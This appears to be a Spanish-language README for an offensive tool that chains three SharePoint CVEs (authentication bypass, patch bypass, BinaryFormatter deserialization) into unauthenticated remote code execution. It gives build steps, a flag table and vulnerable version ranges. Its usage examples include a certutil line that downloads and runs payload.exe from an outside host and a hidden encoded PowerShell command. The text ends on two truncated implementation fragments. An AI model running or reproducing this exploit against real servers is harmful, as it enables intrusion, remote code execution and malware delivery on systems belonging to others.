¿Realmente crees que SharePoint es seguro?
Herramienta RCE autónoma para SharePoint en un solo binario. Genera una cadena de gadgets TypeConfuseDelegate como bytes MS-NRBF sin procesar (sin ysoserial.exe), la envuelve en una carga útil de deserialización de DataSet y la entrega a través de HTTP utilizando la omisión de autenticación, todo de una sola vez.
| Paso | CVE | Descripción |
|---|---|---|
| 1 | CVE-2025-49706 | Omitir autenticación — Referer: /_layouts/SignOut.aspx omite la autenticación de SharePoint |
| 2 | CVE-2025-53771 | Bypass de parche — el segmento de ruta final después de ToolPane.aspx evade la corrección de julio de 2025 |
| 3 | CVE-2025-49704 | Deserialización — ExcelDataSet.CompressedDataTable activa BinaryFormatter en un DataSet manipulado |
| 4 | — | El esquema de DataSet fuerza LosFormatter.Deserialize() en la carga útil interna a través de ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate — el comparador de SortedSet<string> es Process.Start(string, string), ejecutando cmd /c <command> |
Todo el flujo binario (tanto el envoltorio externo de DataSet como el gadget interno TypeConfuseDelegate) se construye como registros MS-NRBF sin procesar; no se utiliza serialización en tiempo de ejecución de .NET. Esto coincide byte por byte con el formato producido por el módulo de Metasploit.
Requiere .NET Framework 4.8 SDK (Visual Studio 2022 o herramientas de compilación independientes):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
Salida: OurSharePoint\bin\Release\OurSharePoint.exe (archivo único, sin dependencias)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
| Flag | Descripción | Predeterminado |
|---|---|---|
--cmd=COMMAND | Comando a ejecutar (se ejecuta como cmd /c COMMAND) | — |
--in=FILE | Archivo de carga útil LosFormatter precompilado en base64 | — |
--target=URL | URL base de SharePoint para la entrega HTTP | — |
--check | Solo version de huella digital, sin carga útil | — |
--out=PREFIX | Prefijo del archivo de salida | payload |
--sp-version=VER | Versión de la ruta de diseños (15 o 16) | 15 |
--proxy=URL | Proxy HTTP | — |
--ua=STRING | User-Agent personalizado | Firefox 120 |
--referer=URL | Sobrescribir el Referer de omisión de autenticación | auto |
--timeout=SEC | Tiempo de espera HTTP | 15 |
--a/b/c=NAME | Nombres de DataSet/elemento/columna | aleatorio |
Cuando se usa --out, la herramienta escribe:
| Archivo | Contenido |
|---|---|
<prefix>.bin | Flujo de DataSet BinaryFormatter sin procesar |
<prefix>.b64 | Codificado en GZip + Base64 (lo que va en CompressedDataTable) |
| Edición | Rango vulnerable |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter. Esto evita diferencias entre la salida de serialización en tiempo de ejecución de .NET y lo que espera el deserializador de destino.ObjectStateFormatter (0xFF 0x01 0x32 + longitud de 7 bits) en lugar de usar LosFormatter.Serialize().